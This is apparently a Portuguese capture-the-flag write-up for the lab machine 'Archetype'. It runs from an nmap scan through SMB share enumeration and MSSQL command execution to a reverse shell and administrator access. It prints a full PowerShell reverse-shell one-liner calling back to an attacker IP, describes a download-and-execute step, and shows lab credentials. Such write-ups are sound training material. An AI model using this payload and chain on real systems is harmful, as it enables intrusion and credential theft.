Nome | Archetype |
---|---|
IP | 10.10.10.27 |
Pontos | 0 |
OS | Windows |
Nível | Very Easy |
RECON
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
┌──(hastur㉿hastur)-[~/Archetype]
└─$ sudo nmap -v -p- -sCV -O -Pn 10.10.10.27 --min-rate=512
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-09-05T19:35:06
| Not valid after: 2051-09-05T19:35:06
| MD5: 0f97 d62c 8d46 e595 8b83 982b eb14 769f
|_SHA-1: 795d c811 74ec cd90 80e3 27d6 bb77 796c a2f0 d9d4
|_ssl-date: 2021-09-05T19:47:03+00:00; -35m18s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=265 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 48m42s, deviation: 3h07m52s, median: -35m18s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-09-05T12:46:55-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-05T19:46:54
|_ start_date: N/A
Encontramos várias portas abertas nesta máqina, vamo começar pela 445 - SMB
.
SMB
Vamos tentar uma conex]ao sem credenciais para verificar null session no SMB.
Temos acesso a algubs compartilhamentos, em expecial backups
, vamos enumerá-lo.
Encontramos o arquivo, prod.dtsConfig
, após baixarmos, e analizarmos, encontramos algumas informaçõs valiosas.
Ecnontramos as credenciais para um MSSQL: ARCHETYPE\sql_svc:M3g4c0rp123
.
Em posse das credenciais, podemos tentar uma conex]ao remota utilizando o mssqlclient.py
.
Conseguimos um acesso ao MSSQL, ótimo!
Podemos utilizar a função IS_SRVROLEMEMBER
, para verificar se o usuário sql_svc
tem privilégios administrativos.
O MSSQL retornou 1
, o que significa que temos privilégios administrativos.
Agora precisamos de uma forma de conseguir a leak de algum arquivo, ou melhor, um shell.
Existe uma funsão do MSSQL que permite executar comandos via query, podemos encontrar na pŕopria documentação da Microsoft aqui.
Vamos seguir os passos da documentação e testar algum comando.
Ótimo, conseguimos um RCE através do MSSQL, agora podemos tentar um reverse shell através de comandos no PowerSHell.
Primeiro vamos criar um payload de uma linha em power shell e salvá-lo no arquivo shell.ps1
.
1
2
3
┌──(hastur㉿hastur)-[~/Archetype]
└─$ cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.251",8443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Agora vamos iniciar um server http com python python3 -m http.server 80
.
Agora setamos um netcat
na porta 8443 que setamos em nosso payload.
Com tudo pronto, podemos enviar um payload em Power Shell no MSSQL, que vai fazer o download do script em nosso HTTP server e em seguida executá-lo, nos dando um reverse shell no netcat que abrimos.
Se olharmos em nosso servidor HTTP, podemos ver que houve uma requisição vinda da Archetype.
E em nosso netcat, temos nosso reverse shell!!!
Ótimo, estamos dentro do host da Archetype, dentro do Desktop do usuário sql_svc
, encontramos a flag do usuário.
Escalação de privilégios
Após um bom tempo de enumeração local, decidi checar se há algum histórico do Power Shell no usuário e descobri uma informação extremamente importante.
Encontramos as credenciais do administrador: administrator:MEGACORP_4dm1n!!
.
Em posse destas credenciais, podemos tentar um acesso remoto ao host utilizando o psexec.py
.
E conseguimos nosso shell com privilégios administrativos no Host Archetype.
A flag do Administrator está em seu Desktop.
E comprometemos o server!!